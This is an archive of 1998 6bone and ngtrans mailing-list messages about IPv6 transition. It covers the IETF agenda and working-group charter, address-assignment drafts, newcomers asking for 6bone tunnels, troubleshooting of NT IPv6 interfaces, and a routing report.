>management  (w.r.t IPv6) for IETF meeting

In what context to ngtrans?  These are topics already covered by the ipng wg from an oversight point of view and actually going on in other working groups (diffserv and mobility).


Bob

From 6bone-owner  Thu Jun 18 09:07:43 1998
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Date: Thu, 18 Jun 1998 12:07:35 -0400 (EDT)
From: Ben Hockenhull <benh@jpj.net>
Reply-To: Ben Hockenhull <benh@jpj.net>
To: 6bone@ISI.EDU
Subject: Whither IPv6 IOS?
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I sent a message to the contact at Cisco mentioned on the IPv6 software
page, but got no response.

I'm trying to determine where I can obtain an IOS image that contains IPv6
support, and, nearly as importantly, which routers are supported by that
code.  It'd be ideal if the 1605 were supported, since I have an extra.

Thanks,

Ben


--
Ben Hockenhull
benh@jpj.net



From 6bone-owner  Thu Jun 18 09:29:10 1998
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Date: Thu, 18 Jun 1998 09:29:03 -0700
To: Girish Chiruvolu <chirgi@aud.alcatel.com>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: scheduling for August IETF
Cc: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com,
        Tony Hain <tonyhain@microsoft.com>,
        Bob Gilligan <gilligan@freegate.net>, ops-chairs@ops.ietf.org
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Girish,

At 10:59 AM 6/18/98 -0500, Girish Chiruvolu wrote:
...
>Thats fine.., 
>
>(I thought of some kind of brief overviews of the current
>work w.r.t those topics/working-groups, but that dilutes the scope 
>of ngtrans (?) I guess/realize :-)

Given this, I would as soon not include anything on the agenda about this.

Generally the Mobility guys give a good overview at the IPng meeting, and the Diffserv efforts are definitely a work in progress that I would hesitate discussing at the ngtrans meeting.

Thanks,

Bob

From 6bone-owner  Fri Jun 19 01:17:52 1998
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Date: Fri, 19 Jun 1998 10:04:31 +0200
To: Bob Fink <rlfink@lbl.gov>, 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
From: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
Subject: What NGTrans is about (Re: scheduling for August IETF)
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(some hopefully irrelevant CCs deleted)

Just to remind you what ngtrans is SUPPOSED to be doing:
----------------------------------------------------------------------------
The purpose of this group is to design the mechanisms and procedures to
support the transition of the Internet from IPv4 to IPv6. 
The work of the group will fall into three areas: 

1. Define the processes by which the Internet will be transitioned from
IPv4 to IPv6. As part of this effort, the group will produce a document
explaining to the general Internet community what mechanisms will be
employed in the transition, how the transition will work, the assumptions
about infrastructure deployment inherent in the operation of these
mechanisms, and the types of functionality that applications developers
will be able to assume as the protocol mix changes over time. 

2. Define and specify the mandatory and optional mechanisms that vendors
are to implement in hosts, routers, and other components of the Internet in
order for the transition to be carried out. Dual protocol stack,
encapsulation and header translation mechanisms must all be defined, as
well as the interaction between hosts using different combinations of these
mechanisms. The specifications produced will be used by people implementing
these IPv6 systems. 

3. Articulate a concrete operational plan for transitioning the Internet
from IPv4 to IPv6. The result of this work will be a transition plan for
the Internet that network operators and Internet subscribers can execute. 
--------------------------------------------------------------------------
Furthermore, it's supposed to be finished by July 95 :-)

I think ngtrans should be asking itself:

- What will the group produce?
- When will it produce it?
- What else is needed to get the NG transition rolling?

                             Harald A





-- 
Harald Tveit Alvestrand, Maxware, Norway
Harald.Alvestrand@maxware.no


From 6bone-owner  Fri Jun 19 08:13:51 1998
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To: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>, 6bone@ISI.EDU,
        ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: What NGTrans is about (Re: scheduling for August IETF)
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6bone/ngtrans folk,

The correct ngtrans charter is not the one Harald gives below (some recent update error on the ITEF web pages seems to have lost the recent charter, and it reverted to an old one).  The current one is (and has been) available at:

	http://www.6bone.net/ngtrans_charter.html

This and other ngtrans info is referenced thru the pointer at the text at the top of the 6bone home page:

	http://www.6bone.net/

I will be discussing the charter, timelines and the various questions of us with Harald, and will keep the list informed as I know more.


Thanks,

Bob

=====
At 10:04 AM 6/19/98 +0200, Harald Tveit Alvestrand wrote:
>(some hopefully irrelevant CCs deleted)
>
>Just to remind you what ngtrans is SUPPOSED to be doing:
>----------------------------------------------------------------------------
>The purpose of this group is to design the mechanisms and procedures to
>support the transition of the Internet from IPv4 to IPv6. 
>The work of the group will fall into three areas: 
>
>1. Define the processes by which the Internet will be transitioned from
>IPv4 to IPv6. As part of this effort, the group will produce a document
>explaining to the general Internet community what mechanisms will be
>employed in the transition, how the transition will work, the assumptions
>about infrastructure deployment inherent in the operation of these
>mechanisms, and the types of functionality that applications developers
>will be able to assume as the protocol mix changes over time. 
>
>2. Define and specify the mandatory and optional mechanisms that vendors
>are to implement in hosts, routers, and other components of the Internet in
>order for the transition to be carried out. Dual protocol stack,
>encapsulation and header translation mechanisms must all be defined, as
>well as the interaction between hosts using different combinations of these
>mechanisms. The specifications produced will be used by people implementing
>these IPv6 systems. 
>
>3. Articulate a concrete operational plan for transitioning the Internet
>from IPv4 to IPv6. The result of this work will be a transition plan for
>the Internet that network operators and Internet subscribers can execute. 
>--------------------------------------------------------------------------
>Furthermore, it's supposed to be finished by July 95 :-)
>
>I think ngtrans should be asking itself:
>
>- What will the group produce?
>- When will it produce it?
>- What else is needed to get the NG transition rolling?
>
>                             Harald A
>
>
>
>
>
>-- 
>Harald Tveit Alvestrand, Maxware, Norway
>Harald.Alvestrand@maxware.no
> 

From 6bone-owner  Tue Jun 23 09:50:57 1998
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To: Bob Fink <rlfink@lbl.gov>
Cc: Harald Tveit Alvestrand    <Harald.Alvestrand@maxware.no>, 6bone@ISI.EDU,
        ngtrans@sunroof.eng.sun.com
Subject: Re: What NGTrans is about (Re: scheduling for August IETF) 
In-Reply-To: Your message of "Fri, 19 Jun 1998 08:13:31 PDT."
             <1313878469-412391225@cnrmail.lbl.gov> 
Date: Tue, 23 Jun 1998 12:50:47 -0400
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Bob,

I understand the charter is different.  But I would like to highly
recommend we take Harald's list to heart regrarding transitioning the
Internet and especially folks getting real IPv6 addresses.  Just because
its not in the charter does not mean we should not care.

I realize you and Bob Hinden have been working this offline regarding
real IPv6 addresses.  Maybe it is time to take this from offline to
online, or I can bring it up on a different list.

my .02 cents,
thanks
/jim

From 6bone-owner  Tue Jun 23 10:55:54 1998
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Date: Tue, 23 Jun 1998 21:59:02 +0400
From: peter dawson <peterdd@gto.net.om>
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To: ngtrans@sunroof.Eng.Sun.COM
CC: Bob Fink <rlfink@lbl.gov>,
        Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>, 6bone@ISI.EDU
Subject: Re: (ngtrans) Re: What NGTrans is about (Re: scheduling for August IETF)
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Bob

Just a matter of academic curiosity. With the nIANA doing work
with the
Improvement of Technical Management of Internet Names and
Addresses
also known as the "Green Paper",  won't this effect the bigger
picture
in context of real IPv6 addresses ??

/Pete

bound@zk3.dec.com wrote:

> Bob,
>
> I understand the charter is different.  But I would like to
> highly
> recommend we take Harald's list to heart regrarding
> transitioning the
> Internet and especially folks getting real IPv6 addresses.
> Just because
> its not in the charter does not mean we should not care.
>
> I realize you and Bob Hinden have been working this offline
> regarding
> real IPv6 addresses.  Maybe it is time to take this from
> offline to
> online, or I can bring it up on a different list.
>
> my .02 cents,
> thanks
> /jim




From 6bone-owner  Tue Jun 23 11:36:25 1998
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To: peter dawson <peterdd@gto.net.om>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) Re: What NGTrans is about (Re: scheduling for
  August IETF)
Cc: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>, 6bone@ISI.EDU,
        ngtrans@sunroof.Eng.Sun.COM
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Peter,

At 09:59 PM 6/23/98 +0400, peter dawson wrote:
>Bob
>
>Just a matter of academic curiosity. With the nIANA doing work with the
>Improvement of Technical Management of Internet Names and Addresses also 
>known as the "Green Paper",  won't this effect the bigger picture
>in context of real IPv6 addresses ??

The primary work going on at this time to ready for IPv6 address allocation in the "Aggregatable Unicast" space is being done by the regional address registries (RIPE, ARIN and APNIC) with some comment and oversight by the IANA. 

The I-D just issued (see below) is the IETF's current input (at least IPng WG's input) to the registries, with the registries participation and input to it as well from the Stockholm RIPE meeting of several weeks ago.  This I-D now will have to go thru some process at the IAB/IESG/IETF to issue it as an RFC of some type for the IANA and registries use.

I doubt that the "Magaziner" efforts underway, and reported in the newest "whitepaper(?)" just released, will materially affect this process as this process seems consistent with it (at least the way I read it).


Bob

---
Date: Mon, 15 Jun 1998 10:16:10 -0400
From: Internet-Drafts@ietf.org
To: IETF-Announce:;;;;@CNRI.Reston.VA.US;@Eng.Sun.COM;;;
Cc: ipng@sunroof.Eng.Sun.COM
Subject: (IPng 5882) I-D ACTION:draft-ietf-ipngwg-tla-assignment-04.txt

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IPNG Working Group of the IETF.

	Title		: Proposed TLA and NLA Assignment Rules
	Author(s)	: B. Hinden
	Filename	: draft-ietf-ipngwg-tla-assignment-04.txt
	Pages		: 10
	Date		: 12-Jun-98
	
   This document proposes rules for Top-Level Aggregation Identifiers
   (TLA ID) and Next-Level Aggregation Identifiers (NLA ID) as defined
   in [AGGR].  These proposed rules apply to registries allocating TLA
   ID's and to organizations receiving TLA ID's.
   This proposal is intended as input from the IPng working group to the
   IANA and Registries.  It is not intended for any official IETF
   status.  Its content represents the result of extensive discussion
   between the IPng working group, IANA, and Registries.

...
<ftp://ftp.ietf.org/internet-drafts/draft-ietf-ipngwg-tla-assignment-04.txt>


From 6bone-owner  Thu Jun 25 12:29:33 1998
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Date: Thu, 25 Jun 1998 12:23:16 -0700
From: Priyank Desai <pdesai@wins.hrl.com>
Organization: HRL Labs
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Hi!

I am trying to set up a ipv6 network using two machines running
linux-2.1.106. I have installed bind-8.1.1 resolver, the necessary
modutils....

MY question is :

1. How do u make the network active ( an active ipv6 network -how to
configure it 

2. What will be my ipv6 address.

3. how do I test whether my network is running ipv6 or not?..send ipv6
packets ???

4. Are the other applications like TELNET, TFTP, POP, HTTP Daemon Aache,
client Chimera, TTCP, PTCP TCP Wrapper, SSH ...etc... necessary before I
see my network  as an active ipv6 network and before i test it?

please also let me know some links or rfc's which can help me meet my
goal....

thanks,

regards,

Priyank

From 6bone-owner  Fri Jun 26 05:37:05 1998
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Date: Fri, 26 Jun 1998 14:42:51 +0200
From: Lars Fenneberg <lf@elemental.net>
To: Priyank Desai <pdesai@wins.hrl.com>
Cc: 6bone@ISI.EDU
Subject: Re: configuring a 2-host ipv6 n/w on same link
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Hi!

Quoting Priyank Desai (pdesai@wins.hrl.com):

> I am trying to set up a ipv6 network using two machines running
> linux-2.1.106. I have installed bind-8.1.1 resolver, the necessary
> modutils....

> please also let me know some links or rfc's which can help me meet my
> goal....

	Have a look at Peter Bieringer's IPv6-HOWTO for Linux at:

	http://www.bieringer.de/linux/IPv6/default.html

Lars.
-- 
Lars Fenneberg,  lf@elemental.net (private), lf@cityline.net (work)
pgp 1024/1A3A7A4D  D1 28 F1 FF 3C 6B C0 27  CC 9C 6C 09 34 0A 55 18

From 6bone-owner  Fri Jun 26 14:42:00 1998
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Hi!

We here at HRL, have a couple of Linux machines running 2.1.106, ready
with the ipv6 code...we would like to join the six bone...

Can any body guide us in that matter?.. What r the requirements and what
do I do to get a tunnel connection.?

thanks,

regards,

Priyank Desai

HRL

From 6bone-owner  Fri Jun 26 17:11:52 1998
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Hi!

I want to get connected to the 6bone... can any body provide me with a
tunnel?

A step-by-step procedure to do so will be appreciated.


Can any one provide me a tunnel?

  HOST 1				HOST2

  ip : 206.17.46.195                206.17.46.194
  host : sixbone2.wins.hrl.com      sixbone1.wins.hrl.com
  default gw : 206.17.46.193        default gw : 206.17.46.193
  subnet : 255.255.255.240          ubnet : 255.255.255.240
  name server : 206.17.46.85        name server : 206.17.46.85


thanks,

regards,

priyank

--- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
     " When Going Gets Tough, The Tough Get Going !!! "  
-----------------------------------------------------------

From 6bone-owner  Tue Jun 30 10:49:09 1998
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From: Priyank <pdesai@wins.hrl.com>
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Hi!

I am interested in getting connected to the 6bone..

I have two machines running ipv6, with linux 2.1.106.

host 1 : 

host name  : sixbone1.wins.hrl.com
domain     : wins.hrl.com
ip         : 206.17.46.194
D GW       : 206.17.46.193
Name server: 206.17.46.85
IPv6       : fe80::200:coff:fe7f:fdec/10


host 2 : 

host name  : sixbone2.wins.hrl.com
domain     : wins.hrl.com
ip         : 206.17.46.195
D GW       : 206.17.46.193
Name server: 206.17.46.85
IPv6       : fe80::200:coff:fe71:fdec/10

Can any body suggest me the step by step procedure needed hence
forth...?


thanks,

regards,

-P

From 6bone-owner  Wed Jul  1 08:11:53 1998
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Date: Wed, 01 Jul 1998 11:19:14 -0400
From: Deukyoon Kang <dykang@snad.ncsl.nist.gov>
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I'm glad to announce that Libpcapv6(=extended version of Libpcap for
IPv6)  is released. You can obtain regarding information and download it
from 'http://dutch.antd.nist.gov/~dykang/pcapv6.html'. Note that
Libpcapv6 is still experimental.

Regards.

Deukyoon.

-----------------------------------------------------
Member of Technical Staff
Protocol Engineering Team, Korea Telecom
-----------------------------------------------------
Guest Researcher
Internetworking Technology Group, National Institute of Standards and
Technology
-----------------------------------------------------


From 6bone-owner  Wed Jul  1 14:25:23 1998
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Hi!

I am looking for a connecting point to 6bone.

Priyank Desai

From 6bone-owner  Wed Jul  1 20:06:39 1998
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From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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Hi,
	If I want to trace the IPv6 routers in the path, I can use traceroute(v6). However, If there is tunnel built in the path, the tool can not find any information. Is there any means (or protocol) to find any tunnel in a v6 path and the IPv4 routers in the tunnel?
					Chu
--------------9EF0C017559AE86F2A348BD8
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>From sjchen@ms.chttl.com.tw Tue Mar  3 16:30 EAT 1998
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--

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From 6bone-owner  Thu Jul  2 01:22:47 1998
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Please excuse this piece of advertising, but in case anybody wants
to put their S/390 on the 6bone, see the second half of

http://www.software.ibm.com/enetwork/commserver/downloads/demos/demo_csos390.html

   Brian

From 6bone-owner  Thu Jul  2 01:22:52 1998
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Hi,
        If I want to trace the IPv6 routers in the path, I can use traceroute(v6). However, If there is tunnel built in the path, the tool can not find any information. Is there any means (or protocol) to find any tunnel in a v6 path and the IPv4 routers in the tunnel?
                                        Chu

From 6bone-owner  Thu Jul  2 12:41:09 1998
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I am having trouble getting a response from the admin of the NWNET pTLA.
Either he doesn't work there anymore and didn't pass the torch to someone
else, or has dropped of the face of the Earth.  

Suggestions on how to proceed in this situation would be appreciated.


--Grant Miller   grant@wcug.wwu.edu



From 6bone-owner  Thu Jul  2 15:14:23 1998
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Date: Thu, 02 Jul 1998 15:14:17 -0700
To: Priyank <pdesai@wins.hrl.com>, 6bone <6bone@ISI.EDU>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: -> connecting point to 6bone.
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Priyank,

At 02:18 PM 7/1/98 -0700, Priyank wrote:
>Hi!
>
>I am looking for a connecting point to 6bone.

What works best is to follow the steps in the "joining the 6bone" web page at:

	http://www.6bone.net/6bone_hookup.html

This will end up having you do the work to figure out what is the "best" point of attachment for your site, and then to contact that site directly.


Thanks,

Bob

From 6bone-owner  Thu Jul  2 15:17:15 1998
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To: Grant Miller <grant@wcug.wwu.edu>, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: No response from a pTLA admin?
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Grant,

At 12:40 PM 7/2/98 -0700, Grant Miller wrote:
>
>I am having trouble getting a response from the admin of the NWNET pTLA.
>Either he doesn't work there anymore and didn't pass the torch to someone
>else, or has dropped of the face of the Earth.  
>
>Suggestions on how to proceed in this situation would be appreciated.

Look on the NWNET web pages at www.nwnet.net and contact their NOC folk.

Let me know what they say.

If they don't want to support it/you, then you may have to move to another pTLA and I'll have to see if they want me to deassign their pTLA at NWNET.


Thanks,

Bob

From 6bone-owner  Thu Jul  2 16:26:47 1998
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Hi!,

- I am looking for a connecting point to 6bone.

- Location : Malibu, California, USA

- Company  : HRL Laboratories.

- Purpose  : Experimental Research.

- How R We connected : T1 connection through TGI Cerfnet.

Thanks,

Regards,

Priyank

From 6bone-owner  Thu Jul  2 17:01:55 1998
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Subject: Re: No response from a pTLA admin?
To: grant@wcug.wwu.edu (Grant Miller)
Date: Thu, 2 Jul 1998 17:01:50 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.3.96.980702123601.22464A-100000@sloth> from "Grant Miller" at Jul 2, 98 12:40:43 pm
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> 
> 
> I am having trouble getting a response from the admin of the NWNET pTLA.
> Either he doesn't work there anymore and didn't pass the torch to someone
> else, or has dropped of the face of the Earth.  
> 
> Suggestions on how to proceed in this situation would be appreciated.
> 
> 
> --Grant Miller   grant@wcug.wwu.edu
> 

Try Alf Farnham  alfj@nw.verio.net

-- 
--bill

From 6bone-owner  Fri Jul  3 05:50:10 1998
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199807031250.FAA10013@zephyr.isi.edu>
Subject: Re: Request for a tunnel connection.
To: pdesai@wins.hrl.com (Priyank)
Date: Fri, 3 Jul 1998 05:50:06 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <359C15BC.9ED8B34B@wins.hrl.com> from "Priyank" at Jul 2, 98 04:20:28 pm
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> 
> Hi!,
> 
> - I am looking for a connecting point to 6bone.
> 
> - Location : Malibu, California, USA
> 
> - Company  : HRL Laboratories.
> 
> - Purpose  : Experimental Research.
> 
> - How R We connected : T1 connection through TGI Cerfnet.
> 
> Thanks,
> 
> Regards,
> 
> Priyank
> 


I'll be happy to work with you on this request.
-- 
--bill

From 6bone-owner  Fri Jul  3 09:00:30 1998
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199807031250.FAA10013@zephyr.isi.edu>
Subject: Re: Request for a tunnel connection.
To: pdesai@wins.hrl.com (Priyank)
Date: Fri, 3 Jul 1998 05:50:06 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <359C15BC.9ED8B34B@wins.hrl.com> from "Priyank" at Jul 2, 98 04:20:28 pm
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> 
> Hi!,
> 
> - I am looking for a connecting point to 6bone.
> 
> - Location : Malibu, California, USA
> 
> - Company  : HRL Laboratories.
> 
> - Purpose  : Experimental Research.
> 
> - How R We connected : T1 connection through TGI Cerfnet.
> 
> Thanks,
> 
> Regards,
> 
> Priyank
> 


I'll be happy to work with you on this request.
-- 
--bill

From 6bone-owner  Fri Jul  3 09:58:14 1998
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199807031250.FAA10013@zephyr.isi.edu>
Subject: Re: Request for a tunnel connection.
To: pdesai@wins.hrl.com (Priyank)
Date: Fri, 3 Jul 1998 05:50:06 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <359C15BC.9ED8B34B@wins.hrl.com> from "Priyank" at Jul 2, 98 04:20:28 pm
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> 
> Hi!,
> 
> - I am looking for a connecting point to 6bone.
> 
> - Location : Malibu, California, USA
> 
> - Company  : HRL Laboratories.
> 
> - Purpose  : Experimental Research.
> 
> - How R We connected : T1 connection through TGI Cerfnet.
> 
> Thanks,
> 
> Regards,
> 
> Priyank
> 


I'll be happy to work with you on this request.
-- 
--bill

From 6bone-owner  Fri Jul  3 10:37:47 1998
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199807031250.FAA10013@zephyr.isi.edu>
Subject: Re: Request for a tunnel connection.
To: pdesai@wins.hrl.com (Priyank)
Date: Fri, 3 Jul 1998 05:50:06 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <359C15BC.9ED8B34B@wins.hrl.com> from "Priyank" at Jul 2, 98 04:20:28 pm
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> 
> Hi!,
> 
> - I am looking for a connecting point to 6bone.
> 
> - Location : Malibu, California, USA
> 
> - Company  : HRL Laboratories.
> 
> - Purpose  : Experimental Research.
> 
> - How R We connected : T1 connection through TGI Cerfnet.
> 
> Thanks,
> 
> Regards,
> 
> Priyank
> 


I'll be happy to work with you on this request.
-- 
--bill

From 6bone-owner  Fri Jul  3 11:56:45 1998
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199807031250.FAA10013@zephyr.isi.edu>
Subject: Re: Request for a tunnel connection.
To: pdesai@wins.hrl.com (Priyank)
Date: Fri, 3 Jul 1998 05:50:06 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <359C15BC.9ED8B34B@wins.hrl.com> from "Priyank" at Jul 2, 98 04:20:28 pm
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> 
> Hi!,
> 
> - I am looking for a connecting point to 6bone.
> 
> - Location : Malibu, California, USA
> 
> - Company  : HRL Laboratories.
> 
> - Purpose  : Experimental Research.
> 
> - How R We connected : T1 connection through TGI Cerfnet.
> 
> Thanks,
> 
> Regards,
> 
> Priyank
> 


I'll be happy to work with you on this request.
-- 
--bill

From 6bone-owner  Sun Jul  5 11:21:56 1998
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From: "Hossam El-Ashkar" <h_elashkar@ieee.org>
To: "IPv6 Microsoft" <MSRIPV6-USERS@LIST.RESEARCH.MICROSOFT.COM>,
        "6bone" <6bone@ISI.EDU>
Date: Sun, 5 Jul 1998 21:20:54 +0300
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    I have a very strange situation. I have an NT station and a Solaris =
station, both with IPv6. The Solaris station has generated the automatic =
address and is working perfectly with it. The NT station has generated =
many new interfaces with 2 different addresses types. One which uses the =
eui-64, another which is backward compatible with v4 address ( =
fe80::ipv4). Also, it generated another one which is( ::ipv4). below is =
the output of the 'ipv6 if' command.
    However, neither of these addresses are working. One is pinging from =
the inside but not from the outside ( ::163.121.25.3), another from the =
outside but not from the inside(from the Solaris, not from another =
NTv6).=20
    Does anyone have an explanation for that???

-------------------------------------------------------------------------=
-------
Hossam El-Ashkar
h_elashkar@ieee.org
 =
-------------------------------------------------------------------------=
------------------------
OUTPUT of " ipv6 if" command on NT:

D:\>ipv6 if
Interface 4:
  link-level address: 00-00-c0-38-5d-d8
    preferred address fe80::200:c0ff:fe38:5dd8/10, infinite/infinite
  link MTU 1500 (true link MTU 1500)
  current hop limit 128
  reachable time 30ms (base 30ms)
  retransmission interval 1s
  DAD transmits 1
Interface 3:
  link-level address: 163.121.25.3
    preferred address fe80::a379:1903/10, infinite/infinite
  link MTU 1480 (true link MTU 1480)
  current hop limit 128
  reachable time 38094ms (base 30000ms)
  retransmission interval 1s
  DAD transmits 1
Interface 2:
  link-level address: 0.0.0.0
    preferred address ::163.121.25.3/96, infinite/infinite
  link MTU 1480 (true link MTU 1480)
  current hop limit 128
  reachable time 0ms (base 0ms)
  retransmission interval 0s
  DAD transmits 0
Interface 1:
  link-level address:
    preferred address ::1/0, infinite/infinite
  link MTU 1460 (true link MTU 0)
  current hop limit 1
  reachable time 0ms (base 0ms)
  retransmission interval 0s
  DAD transmits 0



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Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>&nbsp;&nbsp;&nbsp; I have a very =
strange=20
situation. I have an NT station and a Solaris station, both with IPv6. =
The=20
Solaris station has generated the automatic address and is working =
perfectly=20
with it. The NT station has generated many new interfaces with 2 =
different=20
addresses types. One which uses the eui-64, another which is backward =
compatible=20
with v4 address ( fe80::ipv4). Also, it generated another one which is( =
::ipv4).=20
below is the output of the 'ipv6 if' command.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>&nbsp;&nbsp;&nbsp; However, neither =
of these=20
addresses are working. One is pinging from the inside but not from the =
outside (=20
::163.121.25.3), another from the outside but not from the inside(from =
the=20
Solaris, not from another NTv6). </FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>&nbsp;&nbsp;&nbsp; Does anyone have =
an=20
explanation for that???</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>
<DIV>
<HR>
<FONT color=3D#000000 size=3D2>Hossam El-Ashkar</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><A=20
href=3D"mailto:h_elashkar@ieee.org">h_elashkar@ieee.org</A></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><!--<A =
=0Dhref=3D"mailto:hosam@technologist.com">hosam@technologist.com</A>--></=
FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> <FONT color=3D#000000=20
size=3D2>----------------------------------------------------------------=
---------------------------------</FONT></DIV></DIV>
<DIV><FONT size=3D2>OUTPUT of &quot; ipv6 if&quot; command on =
NT:</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>D:\&gt;ipv6 if<BR>Interface 4:<BR>&nbsp; link-level =
address:=20
00-00-c0-38-5d-d8<BR>&nbsp;&nbsp;&nbsp; preferred address=20
fe80::200:c0ff:fe38:5dd8/10, infinite/infinite<BR>&nbsp; link MTU 1500 =
(true=20
link MTU 1500)<BR>&nbsp; current hop limit 128<BR>&nbsp; reachable time =
30ms=20
(base 30ms)<BR>&nbsp; retransmission interval 1s<BR>&nbsp; DAD transmits =

1<BR>Interface 3:<BR>&nbsp; link-level address:=20
163.121.25.3<BR>&nbsp;&nbsp;&nbsp; preferred address fe80::a379:1903/10, =

infinite/infinite<BR>&nbsp; link MTU 1480 (true link MTU 1480)<BR>&nbsp; =
current=20
hop limit 128<BR>&nbsp; reachable time 38094ms (base 30000ms)<BR>&nbsp;=20
retransmission interval 1s<BR>&nbsp; DAD transmits 1<BR>Interface =
2:<BR>&nbsp;=20
link-level address: 0.0.0.0<BR>&nbsp;&nbsp;&nbsp; preferred address=20
::163.121.25.3/96, infinite/infinite<BR>&nbsp; link MTU 1480 (true link =
MTU=20
1480)<BR>&nbsp; current hop limit 128<BR>&nbsp; reachable time 0ms (base =

0ms)<BR>&nbsp; retransmission interval 0s<BR>&nbsp; DAD transmits =
0<BR>Interface=20
1:<BR>&nbsp; link-level address:<BR>&nbsp;&nbsp;&nbsp; preferred address =
::1/0,=20
infinite/infinite<BR>&nbsp; link MTU 1460 (true link MTU 0)<BR>&nbsp; =
current=20
hop limit 1<BR>&nbsp; reachable time 0ms (base 0ms)<BR>&nbsp; =
retransmission=20
interval 0s<BR>&nbsp; DAD transmits 0</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0008_01BDA85A.CB493EE0--


From 6bone-owner  Tue Jul  7 07:43:49 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 07/06/98 6Bone Routing Report
Date: Tue, 7 Jul 1998 07:43:10 -0700 
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What's happening with 6bone routing? I received several truncated reports
over the weekend, and now a report showing a big jump in routing
instability?

Rich

> -----Original Message-----
> From: owner-6bone-routing-report@merit.edu
> [mailto:owner-6bone-routing-report@merit.edu]
> Sent: Monday, July 06, 1998 11:15 PM
> To: 6bone-routing-report@merit.edu
> Subject: 07/06/98 6Bone Routing Report
> 
> 
> See http://www.merit.edu/ipma for a more detailed report on routing 
> problems and recommendations on ways service providers can limit the 
> spread of invalid routing information.
> Send comments and questions to ipma-support@merit.edu
> 
> To unsubscribe from this list, send mail to 
>     6bone-routing-report-request@merit.edu.
> A hypermail archive is available at
>     http://www.merit.net/mail.archives/html/6bone-routing-report/
> 
> Also see http://www.caida.org for more information about Internet 
> statistics collection research efforts.
> 
> ---------------------------------------------
> This report is for 07/06/98, peering with
>   VIAGENIE (AS10566)  CISCO (AS109)  CICNET (AS1225)  ANSNET 
> (AS1673)  WIDE (AS2500)  TELEBIT (AS3263)  NUS-IRDU (AS7610)
> ---------------------------------------------
> 
> Size of 6Bone Routing Table:
> 	Max = 112, Min = 0, Average = 37
> 	49 Unique Autonomous System (AS) numbers
> 
> BGP4+ Traffic Summary:  
> 	Announcements = 105470    Withdraws = 16613   Unique Routes = 94
> 
> Non-6Bone Prefixes (outside of 3ffe::/16):
> --------------------------------
>   0000::/0 path 10566 7610 237 1225 1312 (LORE/VT)
>   1000::/4 path 10566 5408 1752 3185 786 1717 5623 5609 48 (NRL/INNER)
>   1800::/4 path 7610 10566 237 1225 2914 (NWNET)
>   3000::/7 path 10566 7610 237 1225 1312 (LORE/VT)
>   3fff:ff00::/24 path 7610 10566 237 109 1673 237 1225 1275 
> 1717 137 (INFN-CNAF)
>   5f00:4700::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
>   5f00:6d00::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
>   5f01:7800::/32 path 1225 (CICNET)
>   5f04:c500:cb26:1100::/64 path 10566 5408 559 2547 1103 1673 
> 237 109 (CISCO)
>   5f06:8900::/32 path 1673 (ANSNET)
>   5f0b:4f00::/32 path 10566 5408 559 2547 1103 1673 237 109 2895 (INR)
>   5f0d:e900:ce9c:9400::/64 path 1225 (CICNET)
>   5f0f:8800::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
>   5f10:8800::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
>   5f10:ffff::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
>   5f11:b600::/32 path 10566 5408 559 2547 1103 1673 237 109 
> 4534 (NETGOD/LAB/IXA)
>   5f11:d000:cca2:e400::/64 path 10566 5408 559 2547 1103 1673 
> 237 109 (CISCO)
>   ffff:ff00::/24 path 109 1673 5609 1849 1752 (BT-LABS)
> 
> Poorly Aggregated Prefixes (>24):
> --------------------------------
>   UIO (3ffe:2a00::/24) had 6 route(s)
>     3ffe:2a00:200:1003::/64 path 1673 5609 1849 1752 224 (UIO)
>     3ffe:2a00:200:1004::/64 path 1673 5609 1849 1752 224 (UIO)
